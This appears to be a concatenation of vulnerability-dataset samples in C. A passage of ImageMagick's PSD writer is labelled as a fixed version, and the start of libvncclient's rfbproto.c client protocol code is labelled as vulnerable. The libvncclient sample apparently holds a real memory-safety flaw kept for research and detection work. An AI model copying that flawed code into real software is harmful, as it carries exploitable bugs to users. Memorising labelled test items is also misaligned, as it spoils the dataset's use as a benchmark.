rows_offset+=offset_length; count+=length; } else { if (IsGrayImage(next_image,&next_image->exception) != MagickFalse) { length=WritePSDChannel(psd_info,image_info,image,next_image, GrayQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; } else { if (next_image->colorspace == CMYKColorspace) (void) NegateImage(next_image,MagickFalse); length=WritePSDChannel(psd_info,image_info,image,next_image, RedQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; length=WritePSDChannel(psd_info,image_info,image,next_image, GreenQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; length=WritePSDChannel(psd_info,image_info,image,next_image, BlueQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; if (next_image->colorspace == CMYKColorspace) { length=WritePSDChannel(psd_info,image_info,image,next_image, BlackQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; } } if (next_image->matte != MagickFalse) { length=WritePSDChannel(psd_info,image_info,image,next_image, AlphaQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; } } compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); if (next_image->colorspace == CMYKColorspace) (void) NegateImage(next_image,MagickFalse); if (separate != MagickFalse) { const char *property; property=GetImageArtifact(next_image,"psd:opacity-mask"); if (property != (const char *) NULL) { mask=(Image *) GetImageRegistry(ImageRegistryType,property, &image->exception); if (mask != (Image *) NULL) { if (mask->compression == RLECompression) { compact_pixels=AcquireCompactPixels(mask); if (compact_pixels == (unsigned char *) NULL) return(0); } length=WritePSDChannel(psd_info,image_info,image,mask, RedQuantum,compact_pixels,rows_offset,MagickTrue); (void) WritePSDSize(psd_info,image,length,size_offset); count+=length; compact_pixels=(unsigned char *) RelinquishMagickMemory( compact_pixels); } } } return(count); } static size_t WritePascalString(Image *image,const char *value,size_t padding) { size_t count, length; register ssize_t i; /* Max length is 255. */ count=0; length=(strlen(value) > 255UL ) ? 255UL : strlen(value); if (length == 0) count+=WriteBlobByte(image,0); else { count+=WriteBlobByte(image,(unsigned char) length); count+=WriteBlob(image,length,(const unsigned char *) value); } length++; if ((length % padding) == 0) return(count); for (i=0; i < (ssize_t) (padding-(length % padding)); i++) count+=WriteBlobByte(image,0); return(count); } static void WriteResolutionResourceBlock(Image *image) { double x_resolution, y_resolution; unsigned short units; if (image->units == PixelsPerCentimeterResolution) { x_resolution=2.54*65536.0*image->x_resolution+0.5; y_resolution=2.54*65536.0*image->y_resolution+0.5; units=2; } else { x_resolution=65536.0*image->x_resolution+0.5; y_resolution=65536.0*image->y_resolution+0.5; units=1; } (void) WriteBlob(image,4,(const unsigned char *) "8BIM"); (void) WriteBlobMSBShort(image,0x03ED); (void) WriteBlobMSBShort(image,0); (void) WriteBlobMSBLong(image,16); /* resource size */ (void) WriteBlobMSBLong(image,(unsigned int) (x_resolution+0.5)); (void) WriteBlobMSBShort(image,units); /* horizontal resolution unit */ (void) WriteBlobMSBShort(image,units); /* width unit */ (void) WriteBlobMSBLong(image,(unsigned int) (y_resolution+0.5)); (void) WriteBlobMSBShort(image,units); /* vertical resolution unit */ (void) WriteBlobMSBShort(image,units); /* height unit */ } static inline size_t WriteChannelSize(const PSDInfo *psd_info,Image *image, const signed short channel) { size_t count; count=WriteBlobMSBSignedShort(image,channel); count+=SetPSDSize(psd_info,image,0); return(count); } static void RemoveICCProfileFromResourceBlock(StringInfo *bim_profile) { register const unsigned char *p; size_t length; unsigned char *datum; unsigned int count, long_sans; unsigned short id, short_sans; length=GetStringInfoLength(bim_profile); if (length < 16) return; datum=GetStringInfoDatum(bim_profile); for (p=datum; (p >= datum) && (p < (datum+length-16)); ) { register unsigned char *q; q=(unsigned char *) p; if (LocaleNCompare((const char *) p,"8BIM",4) != 0) break; p=PushLongPixel(MSBEndian,p,&long_sans); p=PushShortPixel(MSBEndian,p,&id); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushLongPixel(MSBEndian,p,&count); if (id == 0x0000040f) { ssize_t quantum; quantum=PSDQuantum(count)+12; if ((quantum >= 12) && (quantum < (ssize_t) length)) { if ((q+quantum < (datum+length-16))) (void) CopyMagickMemory(q,q+quantum,length-quantum-(q-datum)); SetStringInfoLength(bim_profile,length-quantum); } break; } p+=count; if ((count & 0x01) != 0) p++; } } static void RemoveResolutionFromResourceBlock(StringInfo *bim_profile) { register const unsigned char *p; size_t length; unsigned char *datum; unsigned int count, long_sans; unsigned short id, short_sans; length=GetStringInfoLength(bim_profile); if (length < 16) return; datum=GetStringInfoDatum(bim_profile); for (p=datum; (p >= datum) && (p < (datum+length-16)); ) { register unsigned char *q; ssize_t cnt; q=(unsigned char *) p; if (LocaleNCompare((const char *) p,"8BIM",4) != 0) return; p=PushLongPixel(MSBEndian,p,&long_sans); p=PushShortPixel(MSBEndian,p,&id); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushLongPixel(MSBEndian,p,&count); cnt=PSDQuantum(count); if (cnt < 0) return; if ((id == 0x000003ed) && (cnt < (ssize_t) (length-12))) { (void) CopyMagickMemory(q,q+cnt+12,length-(cnt+12)-(q-datum)); SetStringInfoLength(bim_profile,length-(cnt+12)); break; } p+=count; if ((count & 0x01) != 0) p++; } } static const StringInfo *GetAdditionalInformation(const ImageInfo *image_info, Image *image) { #define PSDKeySize 5 #define PSDAllowedLength 36 char key[PSDKeySize]; /* Whitelist of keys from: https://www.adobe.com/devnet-apps/photoshop/fileformatashtml/ */ const char allowed[PSDAllowedLength][PSDKeySize] = { "blnc", "blwh", "brit", "brst", "clbl", "clrL", "curv", "expA", "FMsk", "GdFl", "grdm", "hue ", "hue2", "infx", "knko", "lclr", "levl", "lnsr", "lfx2", "luni", "lrFX", "lspf", "lyid", "lyvr", "mixr", "nvrt", "phfl", "post", "PtFl", "selc", "shpa", "sn2P", "SoCo", "thrs", "tsly", "vibA" }, *option; const StringInfo *info; MagickBooleanType found; register size_t i; size_t remaining_length, length; StringInfo *profile; unsigned char *p; unsigned int size; info=GetImageProfile(image,"psd:additional-info"); if (info == (const StringInfo *) NULL) return((const StringInfo *) NULL); option=GetImageOption(image_info,"psd:additional-info"); if (LocaleCompare(option,"all") == 0) return(info); if (LocaleCompare(option,"selective") != 0) { profile=RemoveImageProfile(image,"psd:additional-info"); return(DestroyStringInfo(profile)); } length=GetStringInfoLength(info); p=GetStringInfoDatum(info); remaining_length=length; length=0; while (remaining_length >= 12) { /* skip over signature */ p+=4; key[0]=(*p++); key[1]=(*p++); key[2]=(*p++); key[3]=(*p++); key[4]='\0'; size=(unsigned int) (*p++) << 24; size|=(unsigned int) (*p++) << 16; size|=(unsigned int) (*p++) << 8; size|=(unsigned int) (*p++); size=size & 0xffffffff; remaining_length-=12; if ((size_t) size > remaining_length) return((const StringInfo *) NULL); found=MagickFalse; for (i=0; i < PSDAllowedLength; i++) { if (LocaleNCompare(key,allowed[i],PSDKeySize) != 0) continue; found=MagickTrue; break; } remaining_length-=(size_t) size; if (found == MagickFalse) { if (remaining_length > 0) p=(unsigned char *) CopyMagickMemory(p-12,p+size,remaining_length); continue; } length+=(size_t) size+12; p+=size; } profile=RemoveImageProfile(image,"psd:additional-info"); if (length == 0) return(DestroyStringInfo(profile)); SetStringInfoLength(profile,(const size_t) length); SetImageProfile(image,"psd:additional-info",info); return(profile); } static MagickBooleanType WritePSDImage(const ImageInfo *image_info, Image *image) { char layer_name[MaxTextExtent]; const char *property; const StringInfo *icc_profile, *info; Image *base_image, *next_image; MagickBooleanType status; MagickOffsetType *layer_size_offsets, size_offset; PSDInfo psd_info; register ssize_t i; size_t layer_count, layer_index, length, name_length, num_channels, packet_size, rounded_size, size; StringInfo *bim_profile; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); assert(image != (Image *) NULL); assert(image->signature == MagickSignature); if (image->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename); status=OpenBlob(image_info,image,WriteBinaryBlobMode,&image->exception); if (status == MagickFalse) return(status); packet_size=(size_t) (image->depth > 8 ? 6 : 3); if (image->matte != MagickFalse) packet_size+=image->depth > 8 ? 2 : 1; psd_info.version=1; if ((LocaleCompare(image_info->magick,"PSB") == 0) || (image->columns > 30000) || (image->rows > 30000)) psd_info.version=2; (void) WriteBlob(image,4,(const unsigned char *) "8BPS"); (void) WriteBlobMSBShort(image,psd_info.version); /* version */ for (i=1; i <= 6; i++) (void) WriteBlobByte(image, 0); /* 6 bytes of reserved */ if (SetImageGray(image,&image->exception) != MagickFalse) num_channels=(image->matte != MagickFalse ? 2UL : 1UL); else if ((image_info->type != TrueColorType) && (image_info->type != TrueColorMatteType) && (image->storage_class == PseudoClass)) num_channels=(image->matte != MagickFalse ? 2UL : 1UL); else { if (image->storage_class == PseudoClass) (void) SetImageStorageClass(image,DirectClass); if (image->colorspace != CMYKColorspace) num_channels=(image->matte != MagickFalse ? 4UL : 3UL); else num_channels=(image->matte != MagickFalse ? 5UL : 4UL); } (void) WriteBlobMSBShort(image,(unsigned short) num_channels); (void) WriteBlobMSBLong(image,(unsigned int) image->rows); (void) WriteBlobMSBLong(image,(unsigned int) image->columns); if (IsGrayImage(image,&image->exception) != MagickFalse) { MagickBooleanType monochrome; /* Write depth & mode. */ monochrome=IsMonochromeImage(image,&image->exception) && (image->depth == 1) ? MagickTrue : MagickFalse; (void) WriteBlobMSBShort(image,(unsigned short) (monochrome != MagickFalse ? 1 : image->depth > 8 ? 16 : 8)); (void) WriteBlobMSBShort(image,(unsigned short) (monochrome != MagickFalse ? BitmapMode : GrayscaleMode)); } else { (void) WriteBlobMSBShort(image,(unsigned short) (image->storage_class == PseudoClass ? 8 : image->depth > 8 ? 16 : 8)); if (((image_info->colorspace != UndefinedColorspace) || (image->colorspace != CMYKColorspace)) && (image_info->colorspace != CMYKColorspace)) { (void) TransformImageColorspace(image,sRGBColorspace); (void) WriteBlobMSBShort(image,(unsigned short) (image->storage_class == PseudoClass ? IndexedMode : RGBMode)); } else { if (image->colorspace != CMYKColorspace) (void) TransformImageColorspace(image,CMYKColorspace); (void) WriteBlobMSBShort(image,CMYKMode); } } if ((IsGrayImage(image,&image->exception) != MagickFalse) || (image->storage_class == DirectClass) || (image->colors > 256)) (void) WriteBlobMSBLong(image,0); else { /* Write PSD raster colormap. */ (void) WriteBlobMSBLong(image,768); for (i=0; i < (ssize_t) image->colors; i++) (void) WriteBlobByte(image,ScaleQuantumToChar(image->colormap[i].red)); for ( ; i < 256; i++) (void) WriteBlobByte(image,0); for (i=0; i < (ssize_t) image->colors; i++) (void) WriteBlobByte(image,ScaleQuantumToChar( image->colormap[i].green)); for ( ; i < 256; i++) (void) WriteBlobByte(image,0); for (i=0; i < (ssize_t) image->colors; i++) (void) WriteBlobByte(image,ScaleQuantumToChar(image->colormap[i].blue)); for ( ; i < 256; i++) (void) WriteBlobByte(image,0); } /* Image resource block. */ length=28; /* 0x03EB */ bim_profile=(StringInfo *) GetImageProfile(image,"8bim"); icc_profile=GetImageProfile(image,"icc"); if (bim_profile != (StringInfo *) NULL) { bim_profile=CloneStringInfo(bim_profile); if (icc_profile != (StringInfo *) NULL) RemoveICCProfileFromResourceBlock(bim_profile); RemoveResolutionFromResourceBlock(bim_profile); length+=PSDQuantum(GetStringInfoLength(bim_profile)); } if (icc_profile != (const StringInfo *) NULL) length+=PSDQuantum(GetStringInfoLength(icc_profile))+12; (void) WriteBlobMSBLong(image,(unsigned int) length); WriteResolutionResourceBlock(image); if (bim_profile != (StringInfo *) NULL) { (void) WriteBlob(image,GetStringInfoLength(bim_profile), GetStringInfoDatum(bim_profile)); bim_profile=DestroyStringInfo(bim_profile); } if (icc_profile != (StringInfo *) NULL) { (void) WriteBlob(image,4,(const unsigned char *) "8BIM"); (void) WriteBlobMSBShort(image,0x0000040F); (void) WriteBlobMSBShort(image,0); (void) WriteBlobMSBLong(image,(unsigned int) GetStringInfoLength( icc_profile)); (void) WriteBlob(image,GetStringInfoLength(icc_profile), GetStringInfoDatum(icc_profile)); if ((MagickOffsetType) GetStringInfoLength(icc_profile) != PSDQuantum(GetStringInfoLength(icc_profile))) (void) WriteBlobByte(image,0); } base_image=GetNextImageInList(image); if (base_image == (Image *)NULL) base_image=image; size=0; size_offset=TellBlob(image); SetPSDSize(&psd_info,image,0); SetPSDSize(&psd_info,image,0); layer_count=0; for (next_image=base_image; next_image != NULL; ) { layer_count++; next_image=GetNextImageInList(next_image); } if (image->matte != MagickFalse) size+=WriteBlobMSBShort(image,-(unsigned short) layer_count); else size+=WriteBlobMSBShort(image,(unsigned short) layer_count); layer_size_offsets=(MagickOffsetType *) AcquireQuantumMemory( (size_t) layer_count,sizeof(MagickOffsetType)); if (layer_size_offsets == (MagickOffsetType *) NULL) ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); layer_index=0; for (next_image=base_image; next_image != NULL; ) { Image *mask; unsigned char default_color; unsigned short channels, total_channels; mask=(Image *) NULL; property=GetImageArtifact(next_image,"psd:opacity-mask"); default_color=0; if (property != (const char *) NULL) { mask=(Image *) GetImageRegistry(ImageRegistryType,property, &image->exception); default_color=strlen(property) == 9 ? 255 : 0; } size+=WriteBlobMSBLong(image,(unsigned int) next_image->page.y); size+=WriteBlobMSBLong(image,(unsigned int) next_image->page.x); size+=WriteBlobMSBLong(image,(unsigned int) (next_image->page.y+ next_image->rows)); size+=WriteBlobMSBLong(image,(unsigned int) (next_image->page.x+ next_image->columns)); channels=1U; if ((next_image->storage_class != PseudoClass) && (IsGrayImage(next_image,&next_image->exception) == MagickFalse)) channels=next_image->colorspace == CMYKColorspace ? 4U : 3U; total_channels=channels; if (next_image->matte != MagickFalse) total_channels++; if (mask != (Image *) NULL) total_channels++; size+=WriteBlobMSBShort(image,total_channels); layer_size_offsets[layer_index++]=TellBlob(image); for (i=0; i < (ssize_t) channels; i++) size+=WriteChannelSize(&psd_info,image,(signed short) i); if (next_image->matte != MagickFalse) size+=WriteChannelSize(&psd_info,image,-1); if (mask != (Image *) NULL) size+=WriteChannelSize(&psd_info,image,-2); size+=WriteBlob(image,4,(const unsigned char *) "8BIM"); size+=WriteBlob(image,4,(const unsigned char *) CompositeOperatorToPSDBlendMode(next_image->compose)); property=GetImageArtifact(next_image,"psd:layer.opacity"); if (property != (const char *) NULL) { Quantum opacity; opacity=(Quantum) StringToInteger(property); size+=WriteBlobByte(image,ScaleQuantumToChar(opacity)); (void) ApplyPSDLayerOpacity(next_image,opacity,MagickTrue, &image->exception); } else size+=WriteBlobByte(image,255); size+=WriteBlobByte(image,0); size+=WriteBlobByte(image,next_image->compose==NoCompositeOp ? 1 << 0x02 : 1); /* layer properties - visible, etc. */ size+=WriteBlobByte(image,0); info=GetAdditionalInformation(image_info,next_image); property=(const char *) GetImageProperty(next_image,"label"); if (property == (const char *) NULL) { (void) FormatLocaleString(layer_name,MaxTextExtent,"L%.20g", (double) layer_index); property=layer_name; } name_length=strlen(property)+1; if ((name_length % 4) != 0) name_length+=(4-(name_length % 4)); if (info != (const StringInfo *) NULL) name_length+=GetStringInfoLength(info); name_length+=8; if (mask != (Image *) NULL) name_length+=20; size+=WriteBlobMSBLong(image,(unsigned int) name_length); if (mask == (Image *) NULL) size+=WriteBlobMSBLong(image,0); else { if (mask->compose != NoCompositeOp) (void) ApplyPSDOpacityMask(next_image,mask,ScaleCharToQuantum( default_color),MagickTrue,&image->exception); mask->page.y+=image->page.y; mask->page.x+=image->page.x; size+=WriteBlobMSBLong(image,20); size+=WriteBlobMSBSignedLong(image,mask->page.y); size+=WriteBlobMSBSignedLong(image,mask->page.x); size+=WriteBlobMSBLong(image,mask->rows+mask->page.y); size+=WriteBlobMSBLong(image,mask->columns+mask->page.x); size+=WriteBlobByte(image,default_color); size+=WriteBlobByte(image,mask->compose == NoCompositeOp ? 2 : 0); size+=WriteBlobMSBShort(image,0); } size+=WriteBlobMSBLong(image,0); size+=WritePascalString(image,property,4); if (info != (const StringInfo *) NULL) size+=WriteBlob(image,GetStringInfoLength(info), GetStringInfoDatum(info)); next_image=GetNextImageInList(next_image); } /* Now the image data! */ next_image=base_image; layer_index=0; while (next_image != NULL) { length=WritePSDChannels(&psd_info,image_info,image,next_image, layer_size_offsets[layer_index++],MagickTrue); if (length == 0) { status=MagickFalse; break; } size+=length; next_image=GetNextImageInList(next_image); } (void) WriteBlobMSBLong(image,0); /* user mask data */ /* Remove the opacity mask from the registry */ next_image=base_image; while (next_image != (Image *) NULL) { property=GetImageArtifact(next_image,"psd:opacity-mask"); if (property != (const char *) NULL) DeleteImageRegistry(property); next_image=GetNextImageInList(next_image); } /* Write the total size */ size_offset+=WritePSDSize(&psd_info,image,size+ (psd_info.version == 1 ? 8 : 16),size_offset); if ((size/2) != ((size+1)/2)) rounded_size=size+1; else rounded_size=size; (void) WritePSDSize(&psd_info,image,rounded_size,size_offset); layer_size_offsets=(MagickOffsetType *) RelinquishMagickMemory( layer_size_offsets); /* Write composite image. */ if (status != MagickFalse) { CompressionType compression; compression=image->compression; if (image->compression == ZipCompression) image->compression=RLECompression; if (WritePSDChannels(&psd_info,image_info,image,image,0, MagickFalse) == 0) status=MagickFalse; image->compression=compression; } (void) CloseBlob(image); return(status); }
./CrossVul/dataset_final_sorted/CWE-787/c/good_3108_0
crossvul-cpp_data_bad_520_0
/* * Copyright (C) 2000-2002 Constantin Kaplinsky. All Rights Reserved. * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * rfbproto.c - functions to deal with client side of RFB protocol. */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #define _POSIX_SOURCE #define _XOPEN_SOURCE 600 #endif #ifndef WIN32 #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <pwd.h> #endif #include <errno.h> #include <rfb/rfbclient.h> #ifdef WIN32 #undef SOCKET #undef socklen_t #endif #ifdef LIBVNCSERVER_HAVE_LIBZ #include <zlib.h> #ifdef __CHECKER__ #undef Z_NULL #define Z_NULL NULL #endif #endif #ifndef _MSC_VER /* Strings.h is not available in MSVC */ #include <strings.h> #endif #include <stdarg.h> #include <time.h> #ifdef LIBVNCSERVER_WITH_CLIENT_GCRYPT #include <gcrypt.h> #endif #include "sasl.h" #include "minilzo.h" #include "tls.h" #ifdef _MSC_VER # define snprintf _snprintf /* MSVC went straight to the underscored syntax */ #endif /* * rfbClientLog prints a time-stamped message to the log file (stderr). */ rfbBool rfbEnableClientLogging=TRUE; static void rfbDefaultClientLog(const char *format, ...) { va_list args; char buf[256]; time_t log_clock; if(!rfbEnableClientLogging) return; va_start(args, format); time(&log_clock); strftime(buf, 255, "%d/%m/%Y %X ", localtime(&log_clock)); fprintf(stderr, "%s", buf); vfprintf(stderr, format, args); fflush(stderr); va_end(args); } rfbClientLogProc rfbClientLog=rfbDefaultClientLog; rfbClientLogProc rfbClientErr=rfbDefaultClientLog; /* extensions */ rfbClientProtocolExtension* rfbClientExtensions = NULL; void rfbClientRegisterExtension(rfbClientProtocolExtension* e) { e->next = rfbClientExtensions; rfbClientExtensions = e; } /* client data */ void rfbClientSetClientData(rfbClient* client, void* tag, void* data) { rfbClientData* clientData = client->clientData; while(clientData && clientData->tag != tag) clientData = clientData->next; if(clientData == NULL) { clientData = calloc(sizeof(rfbClientData), 1); clientData->next = client->clientData; client->clientData = clientData; clientData->tag = tag; } clientData->data = data; } void* rfbClientGetClientData(rfbClient* client, void* tag) { rfbClientData* clientData = client->clientData; while(clientData) { if(clientData->tag == tag) return clientData->data; clientData = clientData->next; } return NULL; } static rfbBool HandleRRE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleRRE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleRRE32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE15(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE24(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE24Up(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE24Down(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE32(rfbClient* client, int rx, int ry, int rw, int rh); #ifdef LIBVNCSERVER_HAVE_LIBZ static rfbBool HandleZlib8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZlib16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZlib32(rfbClient* client, int rx, int ry, int rw, int rh); #ifdef LIBVNCSERVER_HAVE_LIBJPEG static rfbBool HandleTight8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTight16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTight32(rfbClient* client, int rx, int ry, int rw, int rh); static long ReadCompactLen (rfbClient* client); #endif static rfbBool HandleZRLE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE15(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24Up(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24Down(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE32(rfbClient* client, int rx, int ry, int rw, int rh); #endif /* * Server Capability Functions */ rfbBool SupportsClient2Server(rfbClient* client, int messageType) { return (client->supportedMessages.client2server[((messageType & 0xFF)/8)] & (1<<(messageType % 8)) ? TRUE : FALSE); } rfbBool SupportsServer2Client(rfbClient* client, int messageType) { return (client->supportedMessages.server2client[((messageType & 0xFF)/8)] & (1<<(messageType % 8)) ? TRUE : FALSE); } void SetClient2Server(rfbClient* client, int messageType) { client->supportedMessages.client2server[((messageType & 0xFF)/8)] |= (1<<(messageType % 8)); } void SetServer2Client(rfbClient* client, int messageType) { client->supportedMessages.server2client[((messageType & 0xFF)/8)] |= (1<<(messageType % 8)); } void ClearClient2Server(rfbClient* client, int messageType) { client->supportedMessages.client2server[((messageType & 0xFF)/8)] &= (!(1<<(messageType % 8))); } void ClearServer2Client(rfbClient* client, int messageType) { client->supportedMessages.server2client[((messageType & 0xFF)/8)] &= (!(1<<(messageType % 8))); } void DefaultSupportedMessages(rfbClient* client) { memset((char *)&client->supportedMessages,0,sizeof(client->supportedMessages)); /* Default client supported messages (universal RFB 3.3 protocol) */ SetClient2Server(client, rfbSetPixelFormat); /* SetClient2Server(client, rfbFixColourMapEntries); Not currently supported */ SetClient2Server(client, rfbSetEncodings); SetClient2Server(client, rfbFramebufferUpdateRequest); SetClient2Server(client, rfbKeyEvent); SetClient2Server(client, rfbPointerEvent); SetClient2Server(client, rfbClientCutText); /* technically, we only care what we can *send* to the server * but, we set Server2Client Just in case it ever becomes useful */ SetServer2Client(client, rfbFramebufferUpdate); SetServer2Client(client, rfbSetColourMapEntries); SetServer2Client(client, rfbBell); SetServer2Client(client, rfbServerCutText); } void DefaultSupportedMessagesUltraVNC(rfbClient* client) { DefaultSupportedMessages(client); SetClient2Server(client, rfbFileTransfer); SetClient2Server(client, rfbSetScale); SetClient2Server(client, rfbSetServerInput); SetClient2Server(client, rfbSetSW); SetClient2Server(client, rfbTextChat); SetClient2Server(client, rfbPalmVNCSetScaleFactor); /* technically, we only care what we can *send* to the server */ SetServer2Client(client, rfbResizeFrameBuffer); SetServer2Client(client, rfbPalmVNCReSizeFrameBuffer); SetServer2Client(client, rfbFileTransfer); SetServer2Client(client, rfbTextChat); } void DefaultSupportedMessagesTightVNC(rfbClient* client) { DefaultSupportedMessages(client); SetClient2Server(client, rfbFileTransfer); SetClient2Server(client, rfbSetServerInput); SetClient2Server(client, rfbSetSW); /* SetClient2Server(client, rfbTextChat); */ /* technically, we only care what we can *send* to the server */ SetServer2Client(client, rfbFileTransfer); SetServer2Client(client, rfbTextChat); } #ifndef WIN32 static rfbBool IsUnixSocket(const char *name) { struct stat sb; if(stat(name, &sb) == 0 && (sb.st_mode & S_IFMT) == S_IFSOCK) return TRUE; return FALSE; } #endif /* * ConnectToRFBServer. */ rfbBool ConnectToRFBServer(rfbClient* client,const char *hostname, int port) { if (client->serverPort==-1) { /* serverHost is a file recorded by vncrec. */ const char* magic="vncLog0.0"; char buffer[10]; rfbVNCRec* rec = (rfbVNCRec*)malloc(sizeof(rfbVNCRec)); client->vncRec = rec; rec->file = fopen(client->serverHost,"rb"); rec->tv.tv_sec = 0; rec->readTimestamp = FALSE; rec->doNotSleep = FALSE; if (!rec->file) { rfbClientLog("Could not open %s.\n",client->serverHost); return FALSE; } setbuf(rec->file,NULL); if (fread(buffer,1,strlen(magic),rec->file) != strlen(magic) || strncmp(buffer,magic,strlen(magic))) { rfbClientLog("File %s was not recorded by vncrec.\n",client->serverHost); fclose(rec->file); return FALSE; } client->sock = -1; return TRUE; } #ifndef WIN32 if(IsUnixSocket(hostname)) /* serverHost is a UNIX socket. */ client->sock = ConnectClientToUnixSock(hostname); else #endif { #ifdef LIBVNCSERVER_IPv6 client->sock = ConnectClientToTcpAddr6(hostname, port); if (client->sock == -1) #endif { unsigned int host; /* serverHost is a hostname */ if (!StringToIPAddr(hostname, &host)) { rfbClientLog("Couldn't convert '%s' to host address\n", hostname); return FALSE; } client->sock = ConnectClientToTcpAddr(host, port); } } if (client->sock < 0) { rfbClientLog("Unable to connect to VNC server\n"); return FALSE; } if(client->QoS_DSCP && !SetDSCP(client->sock, client->QoS_DSCP)) return FALSE; return SetNonBlocking(client->sock); } /* * ConnectToRFBRepeater. */ rfbBool ConnectToRFBRepeater(rfbClient* client,const char *repeaterHost, int repeaterPort, const char *destHost, int destPort) { rfbProtocolVersionMsg pv; int major,minor; char tmphost[250]; int tmphostlen; #ifdef LIBVNCSERVER_IPv6 client->sock = ConnectClientToTcpAddr6(repeaterHost, repeaterPort); if (client->sock == -1) #endif { unsigned int host; if (!StringToIPAddr(repeaterHost, &host)) { rfbClientLog("Couldn't convert '%s' to host address\n", repeaterHost); return FALSE; } client->sock = ConnectClientToTcpAddr(host, repeaterPort); } if (client->sock < 0) { rfbClientLog("Unable to connect to VNC repeater\n"); return FALSE; } if (!SetNonBlocking(client->sock)) return FALSE; if (!ReadFromRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; pv[sz_rfbProtocolVersionMsg] = 0; /* UltraVNC repeater always report version 000.000 to identify itself */ if (sscanf(pv,rfbProtocolVersionFormat,&major,&minor) != 2 || major != 0 || minor != 0) { rfbClientLog("Not a valid VNC repeater (%s)\n",pv); return FALSE; } rfbClientLog("Connected to VNC repeater, using protocol version %d.%d\n", major, minor); tmphostlen = snprintf(tmphost, sizeof(tmphost), "%s:%d", destHost, destPort); if(tmphostlen < 0 || tmphostlen >= (int)sizeof(tmphost)) return FALSE; /* snprintf error or output truncated */ if (!WriteToRFBServer(client, tmphost, tmphostlen + 1)) return FALSE; return TRUE; } extern void rfbClientEncryptBytes(unsigned char* bytes, char* passwd); extern void rfbClientEncryptBytes2(unsigned char *where, const int length, unsigned char *key); rfbBool rfbHandleAuthResult(rfbClient* client) { uint32_t authResult=0, reasonLen=0; char *reason=NULL; if (!ReadFromRFBServer(client, (char *)&authResult, 4)) return FALSE; authResult = rfbClientSwap32IfLE(authResult); switch (authResult) { case rfbVncAuthOK: rfbClientLog("VNC authentication succeeded\n"); return TRUE; break; case rfbVncAuthFailed: if (client->major==3 && client->minor>7) { /* we have an error following */ if (!ReadFromRFBServer(client, (char *)&reasonLen, 4)) return FALSE; reasonLen = rfbClientSwap32IfLE(reasonLen); reason = malloc((uint64_t)reasonLen+1); if 